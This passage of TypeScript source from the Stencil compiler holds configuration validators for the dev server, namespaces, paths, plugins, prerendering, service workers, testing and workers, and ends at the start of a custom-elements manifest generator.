!!validatedConfig.extras.slotChildNodesFix; validatedConfig.extras.scopedSlotTextContentFix = !!validatedConfig.extras.scopedSlotTextContentFix; // TODO(STENCIL-1086): remove this option when it's the default behavior validatedConfig.extras.experimentalScopedSlotChanges = !!validatedConfig.extras.experimentalScopedSlotChanges; } setBooleanConfig(validatedConfig, 'watch', 'watch', false); setBooleanConfig(validatedConfig, 'buildDocs', 'docs', !validatedConfig.devMode); setBooleanConfig(validatedConfig, 'buildDist', 'esm', !validatedConfig.devMode || !!validatedConfig.buildEs5); setBooleanConfig(validatedConfig, 'profile', 'profile', validatedConfig.devMode); setBooleanConfig(validatedConfig, 'writeLog', 'log', false); setBooleanConfig(validatedConfig, 'buildAppCore', null, true); setBooleanConfig(validatedConfig, 'autoprefixCss', null, validatedConfig.buildEs5); setBooleanConfig(validatedConfig, 'validateTypes', null, !validatedConfig._isTesting); setBooleanConfig(validatedConfig, 'allowInlineScripts', null, true); setBooleanConfig(validatedConfig, 'suppressReservedPublicNameWarnings', null, false); if (!isString(validatedConfig.taskQueue)) { validatedConfig.taskQueue = 'async'; } // hash file names if (!isBoolean(validatedConfig.hashFileNames)) { validatedConfig.hashFileNames = !validatedConfig.devMode; } if (!isNumber(validatedConfig.hashedFileNameLength)) { validatedConfig.hashedFileNameLength = DEFAULT_HASHED_FILENAME_LENGTH; } if (validatedConfig.hashedFileNameLength < MIN_HASHED_FILENAME_LENGTH) { const err = buildError(diagnostics); err.messageText = `validatedConfig.hashedFileNameLength must be at least ${MIN_HASHED_FILENAME_LENGTH} characters`; } if (validatedConfig.hashedFileNameLength > MAX_HASHED_FILENAME_LENGTH) { const err = buildError(diagnostics); err.messageText = `validatedConfig.hashedFileNameLength cannot be more than ${MAX_HASHED_FILENAME_LENGTH} characters`; } if (!validatedConfig.env) { validatedConfig.env = {}; } // outputTargets validateOutputTargets(validatedConfig, diagnostics); // plugins validatePlugins(validatedConfig, diagnostics); // dev server validatedConfig.devServer = validateDevServer(validatedConfig, diagnostics); // testing validateTesting(validatedConfig, diagnostics); // bundles if (Array.isArray(validatedConfig.bundles)) { validatedConfig.bundles = sortBy(validatedConfig.bundles, (a: ConfigBundle) => a.components.length); } else { validatedConfig.bundles = []; } // exclude components (tag list) if (!Array.isArray(validatedConfig.excludeComponents)) { validatedConfig.excludeComponents = []; } // validate how many workers we can use validateWorkers(validatedConfig); // default devInspector to whatever devMode is setBooleanConfig(validatedConfig, 'devInspector', null, validatedConfig.devMode); if (!validatedConfig._isTesting) { validateDistNamespace(validatedConfig, diagnostics); } setBooleanConfig(validatedConfig, 'enableCache', 'cache', true); if (!Array.isArray(validatedConfig.watchIgnoredRegex) && validatedConfig.watchIgnoredRegex != null) { validatedConfig.watchIgnoredRegex = [validatedConfig.watchIgnoredRegex]; } validatedConfig.watchIgnoredRegex = ((validatedConfig.watchIgnoredRegex as RegExp[]) || []).reduce((arr, reg) => { if (reg instanceof RegExp) { arr.push(reg); } return arr; }, [] as RegExp[]); // TODO(STENCIL-1107): Remove this check. It'll be unneeded (and raise a compilation error when we build Stencil) once // this property is removed. if (validatedConfig.nodeResolve?.customResolveOptions) { const warn = buildWarn(diagnostics); // this message is particularly long - let the underlying logger implementation take responsibility for breaking it // up to fit in a terminal window warn.messageText = `nodeResolve.customResolveOptions is a deprecated option in a Stencil Configuration file. If you need this option, please open a new issue in the Stencil repository (https://github.com/stenciljs/core/issues/new/choose)`; } CACHED_VALIDATED_CONFIG = validatedConfig; return { config: validatedConfig, diagnostics, }; }; ================================================ FILE: src/compiler/config/validate-copy.ts ================================================ import { unique } from '@utils'; import type * as d from '../../declarations'; /** * Validate a series of {@link d.CopyTask}s * @param copy the copy tasks to validate, or a boolean to specify if copy tasks are enabled * @param defaultCopy default copy tasks to add to the returned validated list if not present in the first argument * @returns the validated copy tasks */ export const validateCopy = ( copy: d.CopyTask[] | boolean | null | undefined, defaultCopy: d.CopyTask[] = [], ): d.CopyTask[] => { if (copy === null || copy === false) { return []; } if (!Array.isArray(copy)) { copy = []; } copy = copy.slice(); for (const task of defaultCopy) { if (copy.every((t) => t.src !== task.src)) { copy.push(task); } } return unique(copy, (task) => `${task.src}:${task.dest}:${task.keepDirStructure}`); }; ================================================ FILE: src/compiler/config/validate-dev-server.ts ================================================ import { buildError, isBoolean, isNumber, isOutputTargetWww, isString, join, normalizePath } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../declarations'; export const validateDevServer = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[]): d.DevServerConfig => { if ((config.devServer === null || (config.devServer as any)) === false) { return {}; } const { flags } = config; const devServer = { ...config.devServer }; if (flags.address && isString(flags.address)) { devServer.address = flags.address; } else if (!isString(devServer.address)) { devServer.address = '0.0.0.0'; } // default to http for local dev let addressProtocol: 'http' | 'https' = 'http'; if (devServer.address.toLowerCase().startsWith('http://')) { devServer.address = devServer.address.substring(7); addressProtocol = 'http'; } else if (devServer.address.toLowerCase().startsWith('https://')) { devServer.address = devServer.address.substring(8); addressProtocol = 'https'; } devServer.address = devServer.address.split('/')[0]; // Validate "ping" route option if (devServer.pingRoute !== null) { let pingRoute = isString(devServer.pingRoute) ? devServer.pingRoute : '/ping'; if (!pingRoute.startsWith('/')) { pingRoute = `/${pingRoute}`; } devServer.pingRoute = pingRoute; } // split on `:` to get the domain and the (possibly present) port // separately. we've already sliced off the protocol (if present) above // so we can safely split on `:` here. const addressSplit = devServer.address.split(':'); const isLocalhost = addressSplit[0] === 'localhost' || !isNaN(addressSplit[0].split('.')[0] as any); // if localhost we use 3333 as a default port let addressPort: number | undefined = isLocalhost ? 3333 : undefined; if (addressSplit.length > 1) { if (!isNaN(addressSplit[1] as any)) { devServer.address = addressSplit[0]; addressPort = parseInt(addressSplit[1], 10); } } if (isNumber(flags.port)) { devServer.port = flags.port; } else if (devServer.port !== null && !isNumber(devServer.port)) { if (isNumber(addressPort)) { devServer.port = addressPort; } } if (devServer.reloadStrategy === undefined) { devServer.reloadStrategy = 'hmr'; } else if ( devServer.reloadStrategy !== 'hmr' && devServer.reloadStrategy !== 'pageReload' && devServer.reloadStrategy !== null ) { const err = buildError(diagnostics); err.messageText = `Invalid devServer reloadStrategy "${devServer.reloadStrategy}". Valid configs include "hmr", "pageReload" and null.`; } if (!isBoolean(devServer.gzip)) { devServer.gzip = true; } if (!isBoolean(devServer.openBrowser)) { devServer.openBrowser = true; } if (!isBoolean(devServer.websocket)) { devServer.websocket = true; } if (!isBoolean(devServer.strictPort)) { devServer.strictPort = false; } if (flags.ssr) { devServer.ssr = true; } else { devServer.ssr = !!devServer.ssr; } if (devServer.ssr) { const wwwOutput = (config.outputTargets ?? []).find(isOutputTargetWww); devServer.prerenderConfig = wwwOutput?.prerenderConfig; } if (isString(config.srcIndexHtml)) { devServer.srcIndexHtml = normalizePath(config.srcIndexHtml); } if (devServer.protocol !== 'http' && devServer.protocol !== 'https') { devServer.protocol = devServer.https ? 'https' : addressProtocol ? addressProtocol : 'http'; } if (devServer.historyApiFallback !== null) { if (Array.isArray(devServer.historyApiFallback) || typeof devServer.historyApiFallback !== 'object') { devServer.historyApiFallback = {}; } if (!isString(devServer.historyApiFallback.index)) { devServer.historyApiFallback.index = 'index.html'; } if (!isBoolean(devServer.historyApiFallback.disableDotRule)) { devServer.historyApiFallback.disableDotRule = false; } } if (flags.open === false) { devServer.openBrowser = false; } else if (flags.prerender && !config.watch) { devServer.openBrowser = false; } let serveDir: string; let basePath: string; const wwwOutputTarget = (config.outputTargets ?? []).find(isOutputTargetWww); if (wwwOutputTarget) { const baseUrl = new URL(wwwOutputTarget.baseUrl ?? '', 'http://config.stenciljs.com'); basePath = baseUrl.pathname; serveDir = wwwOutputTarget.appDir ?? ''; } else { basePath = ''; serveDir = config.rootDir ?? ''; } if (!isString(basePath) || basePath.trim() === '') { basePath = `/`; } basePath = normalizePath(basePath); if (!basePath.startsWith('/')) { basePath = '/' + basePath; } if (!basePath.endsWith('/')) { basePath += '/'; } if (!isBoolean(devServer.logRequests)) { devServer.logRequests = config.logLevel === 'debug'; } if (!isString(devServer.root)) { devServer.root = serveDir; } if (!isString(devServer.basePath)) { devServer.basePath = basePath; } if (isString((devServer as any).baseUrl)) { const err = buildError(diagnostics); err.messageText = `devServer config "baseUrl" has been renamed to "basePath", and should not include a domain or protocol.`; } if (!isAbsolute(devServer.root)) { devServer.root = join(config.rootDir as string, devServer.root); } devServer.root = normalizePath(devServer.root); if (devServer.excludeHmr) { if (!Array.isArray(devServer.excludeHmr)) { const err = buildError(diagnostics); err.messageText = `dev server excludeHmr must be an array of glob strings`; } } else { devServer.excludeHmr = []; } if (!config.devMode || config.buildEs5) { devServer.experimentalDevModules = false; } else { devServer.experimentalDevModules = !!devServer.experimentalDevModules; } return devServer; }; ================================================ FILE: src/compiler/config/validate-docs.ts ================================================ import * as d from '../../declarations'; import { UnvalidatedConfig } from '../../declarations'; import { isHexColor } from '../docs/readme/docs-util'; import { DEFAULT_TARGET_COMPONENT_STYLES } from './constants'; /** * Validate the `.docs` property on the supplied config object and * return a properly-validated value. * * @param config the configuration we're examining * @param logger the logger that will be set on the config * @returns a suitable/default value for the docs property */ export const validateDocs = (config: UnvalidatedConfig, logger: d.Logger): d.ValidatedConfig['docs'] => { const { background: defaultBackground, textColor: defaultTextColor } = DEFAULT_TARGET_COMPONENT_STYLES; let { background = defaultBackground, textColor = defaultTextColor } = config.docs?.markdown?.targetComponent ?? DEFAULT_TARGET_COMPONENT_STYLES; if (!isHexColor(background)) { logger.warn( `'${background}' is not a valid hex color. The default value for diagram backgrounds ('${defaultBackground}') will be used.`, ); background = defaultBackground; } if (!isHexColor(textColor)) { logger.warn( `'${textColor}' is not a valid hex color. The default value for diagram text ('${defaultTextColor}') will be used.`, ); textColor = defaultTextColor; } return { markdown: { targetComponent: { background, textColor, }, }, }; }; ================================================ FILE: src/compiler/config/validate-hydrated.ts ================================================ import { isString } from '@utils'; import { HydratedFlag, UnvalidatedConfig } from '../../declarations'; /** * Validate the `.hydratedFlag` property on the supplied config object and * return a properly-validated value. * * @param config the configuration we're examining * @returns a suitable value for the hydratedFlag property */ export const validateHydrated = (config: UnvalidatedConfig): HydratedFlag | null => { /** * If `config.hydratedFlag` is set to `null` that is an explicit signal that we * should _not_ create a default configuration when validating and should instead * just return `null`. It may also have been set to `false`; this is an invalid * value as far as the type system is concerned, but users may ignore this. * * See {@link HydratedFlag} for more details. */ if (config.hydratedFlag === null || (config.hydratedFlag as unknown as boolean) === false) { return null; } // Here we start building up a default config since `.hydratedFlag` wasn't set to // `null` on the provided config. const hydratedFlag: HydratedFlag = { ...(config.hydratedFlag ?? {}) }; if (!isString(hydratedFlag.name) || hydratedFlag.property === '') { hydratedFlag.name = `hydrated`; } if (hydratedFlag.selector === 'attribute') { hydratedFlag.selector = `attribute`; } else { hydratedFlag.selector = `class`; } if (!isString(hydratedFlag.property) || hydratedFlag.property === '') { hydratedFlag.property = `visibility`; } if (!isString(hydratedFlag.initialValue) && hydratedFlag.initialValue !== null) { hydratedFlag.initialValue = `hidden`; } if (!isString(hydratedFlag.hydratedValue) && hydratedFlag.initialValue !== null) { hydratedFlag.hydratedValue = `inherit`; } return hydratedFlag; }; ================================================ FILE: src/compiler/config/validate-namespace.ts ================================================ import { buildError, dashToPascalCase, isOutputTargetDist, isString } from '@utils'; import type * as d from '../../declarations'; import { DEFAULT_NAMESPACE } from './constants'; /** * Ensures that the `namespace` and `fsNamespace` properties on a project's * Stencil config are valid strings. A valid namespace means: * - at least 3 characters * - cannot start with a number or dash * - cannot end with a dash * - must only contain alphanumeric, dash, and dollar sign characters * * If any conditions are not met, a diagnostic is added to the provided array. * * If a namespace is not provided, the default value is `App`. * * @param namespace The namespace to validate * @param fsNamespace The fsNamespace to validate * @param diagnostics The array of diagnostics to add to if the namespace is invalid * @returns The validated namespace and fsNamespace */ export const validateNamespace = ( namespace: string | undefined, fsNamespace: string | undefined, diagnostics: d.Diagnostic[], ) => { namespace = isString(namespace) ? namespace : DEFAULT_NAMESPACE; namespace = namespace.trim(); const invalidNamespaceChars = namespace.replace(/(\w)|(\-)|(\$)/g, ''); if (invalidNamespaceChars !== '') { const err = buildError(diagnostics); err.messageText = `Namespace "${namespace}" contains invalid characters: ${invalidNamespaceChars}`; } if (namespace.length < 3) { const err = buildError(diagnostics); err.messageText = `Namespace "${namespace}" must be at least 3 characters`; } if (/^\d+$/.test(namespace.charAt(0))) { const err = buildError(diagnostics); err.messageText = `Namespace "${namespace}" cannot have a number for the first character`; } if (namespace.charAt(0) === '-') { const err = buildError(diagnostics); err.messageText = `Namespace "${namespace}" cannot have a dash for the first character`; } if (namespace.charAt(namespace.length - 1) === '-') { const err = buildError(diagnostics); err.messageText = `Namespace "${namespace}" cannot have a dash for the last character`; } // the file system namespace is the one // used in filenames and seen in the url if (!isString(fsNamespace)) { fsNamespace = namespace.toLowerCase().trim(); } if (namespace.includes('-')) { // convert to PascalCase namespace = dashToPascalCase(namespace); } return { namespace, fsNamespace }; }; export const validateDistNamespace = (config: d.UnvalidatedConfig, diagnostics: d.Diagnostic[]) => { const hasDist = (config.outputTargets ?? []).some(isOutputTargetDist); if (hasDist) { if (!isString(config.namespace) || config.namespace.toLowerCase() === 'app') { const err = buildError(diagnostics); err.messageText = `When generating a distribution it is recommended to choose a unique namespace rather than the default setting "App". Please updated the "namespace" config property within the stencil config.`; } } }; ================================================ FILE: src/compiler/config/validate-paths.ts ================================================ import { join, normalizePath } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../declarations'; /** * The paths validated in this module. These fields can be incorporated into a * {@link d.ValidatedConfig} object. */ interface ConfigPaths { rootDir: string; srcDir: string; packageJsonFilePath: string; cacheDir: string; srcIndexHtml: string; globalScript?: string; globalStyle?: string; buildLogFilePath?: string; } /** * Do logical-level validation (as opposed to type-level validation) * for various properties in the user-supplied config which represent * filesystem paths. * * @param config a validated user-supplied configuration * @returns an object holding the validated paths */ export const validatePaths = (config: d.Config): ConfigPaths => { const rootDir = typeof config.rootDir !== 'string' ? '/' : config.rootDir; let srcDir = typeof config.srcDir !== 'string' ? DEFAULT_SRC_DIR : config.srcDir; if (!isAbsolute(srcDir)) { srcDir = join(rootDir, srcDir); } let cacheDir = typeof config.cacheDir !== 'string' ? DEFAULT_CACHE_DIR : config.cacheDir; if (!isAbsolute(cacheDir)) { cacheDir = join(rootDir, cacheDir); } else { cacheDir = normalizePath(cacheDir); } let srcIndexHtml = typeof config.srcIndexHtml !== 'string' ? join(srcDir, DEFAULT_INDEX_HTML) : config.srcIndexHtml; if (!isAbsolute(srcIndexHtml)) { srcIndexHtml = join(rootDir, srcIndexHtml); } const packageJsonFilePath = join(rootDir, 'package.json'); const validatedPaths: ConfigPaths = { rootDir, srcDir, cacheDir, srcIndexHtml, packageJsonFilePath, }; if (typeof config.globalScript === 'string' && !isAbsolute(config.globalScript)) { validatedPaths.globalScript = join(rootDir, config.globalScript); } if (typeof config.globalStyle === 'string' && !isAbsolute(config.globalStyle)) { validatedPaths.globalStyle = join(rootDir, config.globalStyle); } if (config.writeLog) { validatedPaths.buildLogFilePath = typeof config.buildLogFilePath === 'string' ? config.buildLogFilePath : DEFAULT_BUILD_LOG_FILE_NAME; if (!isAbsolute(validatedPaths.buildLogFilePath)) { validatedPaths.buildLogFilePath = join(rootDir, config.buildLogFilePath); } } return validatedPaths; }; const DEFAULT_BUILD_LOG_FILE_NAME = 'stencil-build.log'; const DEFAULT_CACHE_DIR = '.stencil'; const DEFAULT_INDEX_HTML = 'index.html'; const DEFAULT_SRC_DIR = 'src'; ================================================ FILE: src/compiler/config/validate-plugins.ts ================================================ import { buildWarn } from '@utils'; import type * as d from '../../declarations'; export const validatePlugins = (config: d.UnvalidatedConfig, diagnostics: d.Diagnostic[]) => { const userPlugins = config.plugins; if (!config.rollupPlugins) { config.rollupPlugins = {}; } if (!Array.isArray(userPlugins)) { config.plugins = []; return; } const rollupPlugins = userPlugins.filter((plugin) => { return !!(plugin && typeof plugin === 'object' && !plugin.pluginType); }); const hasResolveNode = rollupPlugins.some((p) => p.name === 'node-resolve'); const hasCommonjs = rollupPlugins.some((p) => p.name === 'commonjs'); if (hasCommonjs) { const warn = buildWarn(diagnostics); warn.messageText = `Stencil already uses "@rollup/plugin-commonjs", please remove it from your "stencil.config.ts" plugins. You can configure the commonjs settings using the "commonjs" property in "stencil.config.ts`; } if (hasResolveNode) { const warn = buildWarn(diagnostics); warn.messageText = `Stencil already uses "@rollup/plugin-commonjs", please remove it from your "stencil.config.ts" plugins. You can configure the commonjs settings using the "commonjs" property in "stencil.config.ts`; } config.rollupPlugins.before = [ ...(config.rollupPlugins.before || []), ...rollupPlugins.filter(({ name }) => name !== 'node-resolve' && name !== 'commonjs'), ]; config.plugins = userPlugins.filter((plugin) => { return !!(plugin && typeof plugin === 'object' && plugin.pluginType); }); }; ================================================ FILE: src/compiler/config/validate-prerender.ts ================================================ import { buildError, isString, join, normalizePath } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../declarations'; export const validatePrerender = ( config: d.ValidatedConfig, diagnostics: d.Diagnostic[], outputTarget: d.OutputTargetWww, ) => { if (!config.flags.ssr && !config.flags.prerender && config.flags.task !== 'prerender') { return; } outputTarget.baseUrl = normalizePath(outputTarget.baseUrl); if (!outputTarget.baseUrl.startsWith('http://') && !outputTarget.baseUrl.startsWith('https://')) { const err = buildError(diagnostics); err.messageText = `When prerendering, the "baseUrl" output target config must be a full URL and start with either "http://" or "https://". The config can be updated in the "www" output target within the stencil config.`; } try { new URL(outputTarget.baseUrl); } catch (e) { const err = buildError(diagnostics); err.messageText = `invalid "baseUrl": ${e}`; } if (!outputTarget.baseUrl.endsWith('/')) { outputTarget.baseUrl += '/'; } if (isString(outputTarget.prerenderConfig)) { if (!isAbsolute(outputTarget.prerenderConfig)) { outputTarget.prerenderConfig = join(config.rootDir, outputTarget.prerenderConfig); } } }; ================================================ FILE: src/compiler/config/validate-rollup-config.ts ================================================ import { isObject, pluck } from '@utils'; import type * as d from '../../declarations'; /** * Ensure that a valid baseline rollup configuration is set on the validated * config. * * If a config is present this will return a new config based on the user * supplied one. * * If no config is present, this will return a default config. * * @param config a validated user-supplied configuration object * @returns a validated rollup configuration */ export const validateRollupConfig = (config: d.Config): d.RollupConfig => { let cleanRollupConfig = { ...DEFAULT_ROLLUP_CONFIG }; const rollupConfig = config.rollupConfig; if (!rollupConfig || !isObject(rollupConfig)) { return cleanRollupConfig; } if (rollupConfig.inputOptions && isObject(rollupConfig.inputOptions)) { cleanRollupConfig = { ...cleanRollupConfig, inputOptions: pluck(rollupConfig.inputOptions, [ 'context', 'moduleContext', 'treeshake', 'external', 'maxParallelFileOps', ]), }; } if (rollupConfig.outputOptions && isObject(rollupConfig.outputOptions)) { cleanRollupConfig = { ...cleanRollupConfig, outputOptions: pluck(rollupConfig.outputOptions, ['globals']), }; } return cleanRollupConfig; }; const DEFAULT_ROLLUP_CONFIG: d.RollupConfig = { inputOptions: {}, outputOptions: {}, }; ================================================ FILE: src/compiler/config/validate-service-worker.ts ================================================ import { isString, join } from '@utils'; import { isAbsolute } from 'path'; import type * as d from '../../declarations'; /** * Validate that a service worker configuration is valid, if it is present and * accounted for. * * Note that our service worker configuration / support is based on * Workbox, a package for automatically generating Service Workers to cache * assets on the client. More here: https://developer.chrome.com/docs/workbox/ * * This function first checks that the service worker config set on the * supplied `OutputTarget` is not empty and that we are not currently in * development mode. In those cases it will early return. * * If we do find a service worker configuration we do some validation to ensure * that things are set up correctly. * * @param config the current, validated configuration * @param outputTarget the `www` outputTarget whose service worker * configuration we want to validate. **Note**: the `.serviceWorker` object * _will be mutated_ if it is present. */ export const validateServiceWorker = (config: d.ValidatedConfig, outputTarget: d.OutputTargetWww): void => { if (outputTarget.serviceWorker === false) { return; } if (config.devMode && !config.flags.serviceWorker) { outputTarget.serviceWorker = null; return; } if (outputTarget.serviceWorker === null) { outputTarget.serviceWorker = null; return; } if (!outputTarget.serviceWorker && config.devMode) { outputTarget.serviceWorker = null; return; } const globDirectory = typeof outputTarget.serviceWorker?.globDirectory === 'string' ? outputTarget.serviceWorker.globDirectory : outputTarget.appDir; outputTarget.serviceWorker = { ...outputTarget.serviceWorker, globDirectory, swDest: isString(outputTarget.serviceWorker?.swDest) ? outputTarget.serviceWorker.swDest : join(outputTarget.appDir ?? '', DEFAULT_FILENAME), }; if (!Array.isArray(outputTarget.serviceWorker.globPatterns)) { if (typeof outputTarget.serviceWorker.globPatterns === 'string') { outputTarget.serviceWorker.globPatterns = [outputTarget.serviceWorker.globPatterns]; } else if (typeof outputTarget.serviceWorker.globPatterns !== 'string') { outputTarget.serviceWorker.globPatterns = DEFAULT_GLOB_PATTERNS.slice(); } } if (typeof outputTarget.serviceWorker.globIgnores === 'string') { outputTarget.serviceWorker.globIgnores = [outputTarget.serviceWorker.globIgnores]; } outputTarget.serviceWorker.globIgnores = outputTarget.serviceWorker.globIgnores || []; addGlobIgnores(config, outputTarget.serviceWorker.globIgnores); outputTarget.serviceWorker.dontCacheBustURLsMatching = /p-\w{8}/; if (isString(outputTarget.serviceWorker.swSrc) && !isAbsolute(outputTarget.serviceWorker.swSrc)) { outputTarget.serviceWorker.swSrc = join(config.rootDir, outputTarget.serviceWorker.swSrc); } if (isString(outputTarget.serviceWorker.swDest) && !isAbsolute(outputTarget.serviceWorker.swDest)) { outputTarget.serviceWorker.swDest = join(outputTarget.appDir ?? '', outputTarget.serviceWorker.swDest); } }; /** * Add file glob patterns to the `globIgnores` for files we don't want to cache * with the service worker. * * @param config the current, validated configuration * @param globIgnores list of file ignore patterns. **Note**: will be mutated. */ const addGlobIgnores = (config: d.ValidatedConfig, globIgnores: string[]) => { globIgnores.push( `**/host.config.json`, // the filename of the host configuration `**/*.system.entry.js`, `**/*.system.js`, `**/${config.fsNamespace}.js`, `**/${config.fsNamespace}.esm.js`, `**/${config.fsNamespace}.css`, ); }; const DEFAULT_GLOB_PATTERNS = ['*.html', '**/*.{js,css,json}']; const DEFAULT_FILENAME = 'sw.js'; ================================================ FILE: src/compiler/config/validate-testing.ts ================================================ import { buildError, isOutputTargetDist, isOutputTargetWww, isString, join, normalizePath } from '@utils'; import { basename, dirname, isAbsolute } from 'path'; import type * as d from '../../declarations'; import { isLocalModule } from '../sys/resolve/resolve-utils'; export const validateTesting = (config: d.ValidatedConfig, diagnostics: d.Diagnostic[]) => { const testing = (config.testing = Object.assign({}, config.testing || {})); if (!config.flags.e2e && !config.flags.spec) { return; } let configPathDir = config.configPath!; if (isString(configPathDir)) { if (basename(configPathDir).includes('.')) { configPathDir = dirname(configPathDir); } } else { configPathDir = config.rootDir!; } if (typeof config.flags.headless === 'boolean' || config.flags.headless === 'shell') { testing.browserHeadless = config.flags.headless; } else if (typeof testing.browserHeadless !== 'boolean' && testing.browserHeadless !== 'shell') { testing.browserHeadless = 'shell'; } /** * Using the deprecated `browserHeadless: true` flag causes Chrome to crash when running tests. * Ensure users don't run into this by throwing a deliberate error. */ if (typeof testing.browserHeadless === 'boolean' && testing.browserHeadless) { throw new Error(`Setting "browserHeadless" config to \`true\` is not supported anymore, please set it to "shell"!`); } if (!testing.browserWaitUntil) { testing.browserWaitUntil = 'load'; } /** * ensure we always test on stable Chrome */ if (!isString(testing.browserChannel)) { testing.browserChannel = 'chrome'; } testing.browserArgs = testing.browserArgs || []; addTestingConfigOption(testing.browserArgs, '--font-render-hinting=medium'); addTestingConfigOption(testing.browserArgs, '--incognito'); if (config.flags.ci || process.env.CI) { addTestingConfigOption(testing.browserArgs, '--no-sandbox'); addTestingConfigOption(testing.browserArgs, '--disable-setuid-sandbox'); addTestingConfigOption(testing.browserArgs, '--disable-dev-shm-usage'); testing.browserHeadless = 'shell'; } else if (config.flags.devtools || testing.browserDevtools) { testing.browserDevtools = true; testing.browserHeadless = false; } if (typeof testing.rootDir === 'string') { if (!isAbsolute(testing.rootDir)) { testing.rootDir = join(config.rootDir!, testing.rootDir); } } else { testing.rootDir = config.rootDir; } if (typeof config.flags.screenshotConnector === 'string') { testing.screenshotConnector = config.flags.screenshotConnector; } if (typeof testing.screenshotConnector === 'string') { if (!isAbsolute(testing.screenshotConnector)) { testing.screenshotConnector = join(config.rootDir!, testing.screenshotConnector); } else { testing.screenshotConnector = normalizePath(testing.screenshotConnector); } } else { testing.screenshotConnector = join( config.sys!.getCompilerExecutingPath(), '..', '..', 'screenshot', 'local-connector.js', ); } /** * We only allow numbers or null for the screenshotTimeout, so if we detect anything * else, we set it to null. */ if (typeof testing.screenshotTimeout != 'number') { testing.screenshotTimeout = null; } if (!Array.isArray(testing.testPathIgnorePatterns)) { testing.testPathIgnorePatterns = DEFAULT_IGNORE_PATTERNS.map((ignorePattern) => { return join(testing.rootDir!, ignorePattern); }); (config.outputTargets ?? []) .filter( (o): o is d.OutputTargetWww | d.OutputTargetDist => (isOutputTargetDist(o) || isOutputTargetWww(o)) && !!o.dir, ) .forEach((outputTarget) => { testing.testPathIgnorePatterns?.push(outputTarget.dir!); }); } if (typeof testing.preset !== 'string') { testing.preset = join(config.sys!.getCompilerExecutingPath(), '..', '..', 'testing'); } else if (!isAbsolute(testing.preset)) { testing.preset = join(configPathDir, testing.preset); } if (!Array.isArray(testing.setupFilesAfterEnv)) { testing.setupFilesAfterEnv = []; } testing.setupFilesAfterEnv.unshift( join(config.sys!.getCompilerExecutingPath(), '..', '..', 'testing', 'jest-setuptestframework.js'), ); if (isString(testing.testEnvironment)) { if (!isAbsolute(testing.testEnvironment) && isLocalModule(testing.testEnvironment)) { testing.testEnvironment = join(configPathDir, testing.testEnvironment); } } if (typeof testing.allowableMismatchedPixels === 'number') { if (testing.allowableMismatchedPixels < 0) { const err = buildError(diagnostics); err.messageText = `allowableMismatchedPixels must be a value that is 0 or greater`; } } else { testing.allowableMismatchedPixels = DEFAULT_ALLOWABLE_MISMATCHED_PIXELS; } if (typeof testing.allowableMismatchedRatio === 'number') { if (testing.allowableMismatchedRatio < 0 || testing.allowableMismatchedRatio > 1) { const err = buildError(diagnostics); err.messageText = `allowableMismatchedRatio must be a value ranging from 0 to 1`; } } if (typeof testing.pixelmatchThreshold === 'number') { if (testing.pixelmatchThreshold < 0 || testing.pixelmatchThreshold > 1) { const err = buildError(diagnostics); err.messageText = `pixelmatchThreshold must be a value ranging from 0 to 1`; } } else { testing.pixelmatchThreshold = DEFAULT_PIXEL_MATCH_THRESHOLD; } if (testing.testRegex === undefined) { /** * The test regex covers cases of: * - files under a `__tests__` directory * - the case where a test file has a name such as `test.ts`, `spec.ts` or `e2e.ts`. * - these files can use any of the following file extensions: .ts, .tsx, .js, .jsx. * - this regex only handles the entire path of a file, e.g. `/some/path/e2e.ts` * - the case where a test file ends with `.test.ts`, `.spec.ts`, or `.e2e.ts`. * - these files can use any of the following file extensions: .ts, .tsx, .js, .jsx. * - this regex case shall match file names such as `my-cmp.spec.ts`, `test.spec.ts` * - this regex case shall not match file names such as `attest.ts`, `bespec.ts` */ testing.testRegex = ['(/__tests__/.*|(\\.|/)(test|spec|e2e))\\.[jt]sx?$']; } else if (typeof testing.testRegex === 'string') { testing.testRegex = [testing.testRegex]; } if (Array.isArray(testing.testMatch)) { delete testing.testRegex; } else if (typeof testing.testRegex === 'string') { delete testing.testMatch; } if (typeof testing.runner !== 'string') { testing.runner = join(config.sys!.getCompilerExecutingPath(), '..', '..', 'testing', 'jest-runner.js'); } if (typeof testing.waitBeforeScreenshot === 'number') { if (testing.waitBeforeScreenshot < 0) { const err = buildError(diagnostics); err.messageText = `waitBeforeScreenshot must be a value that is 0 or greater`; } } else { testing.waitBeforeScreenshot = 10; } if (!Array.isArray(testing.emulate) || testing.emulate.length === 0) { testing.emulate = [ { userAgent: 'default', viewport: { width: 600, height: 600, deviceScaleFactor: 1, isMobile: false, hasTouch: false, isLandscape: false, }, }, ]; } }; const addTestingConfigOption = (setArray: string[], option: string) => { if (!setArray.includes(option)) { setArray.push(option); } }; const DEFAULT_ALLOWABLE_MISMATCHED_PIXELS = 100; const DEFAULT_PIXEL_MATCH_THRESHOLD = 0.1; const DEFAULT_IGNORE_PATTERNS = ['.vscode', '.stencil', 'node_modules']; ================================================ FILE: src/compiler/config/validate-workers.ts ================================================ import type * as d from '../../declarations'; export const validateWorkers = (config: d.ValidatedConfig) => { if (typeof config.maxConcurrentWorkers !== 'number') { config.maxConcurrentWorkers = 8; } if (typeof config.flags.maxWorkers === 'number') { config.maxConcurrentWorkers = config.flags.maxWorkers; } else if (config.flags.ci) { config.maxConcurrentWorkers = 4; } config.maxConcurrentWorkers = Math.max(Math.min(config.maxConcurrentWorkers, 16), 0); if (config.devServer) { config.devServer.worker = config.maxConcurrentWorkers > 0; } }; ================================================ FILE: src/compiler/docs/cem/index.ts ================================================ import { dashToPascalCase, isOutputTargetDocsCustomElementsManifest } from '@utils'; import type * as d from '../../../declarations'; /** * Generate Custom Elements Manifest (custom-elements.json) output * conforming to the Custom Elements Manifest specification. * @see https://github.com/webcomponents/custom-elements-manifest * * @param compilerCtx the current compiler context * @param docsData the generated docs data from Stencil components * @param outputTargets the output targets configured for the build */ export const generateCustomElementsManifestDocs = async ( compilerCtx: d.CompilerCtx, docsData: d.JsonDocs, outputTargets: d.OutputTarget[], ): Promise => { const cemOutputTargets = outputTargets.filter(isOutputTargetDocsCustomElementsManifest); if (cemOutputTargets.length === 0) { return; } const manifest = generateManifest(docsData); const jsonContent = JSON.stringify(manifest, null, 2); await Promise.all(cemOutputTargets.map((outputTarget) => compilerCtx.fs.writeFile(outputTarget.file!, jsonContent))); }; /** * Generate the Custom Elements Manifest from Stencil docs data * @param docsData the generated docs data * @returns the Custom Elements Manifest object */ const generateManifest = 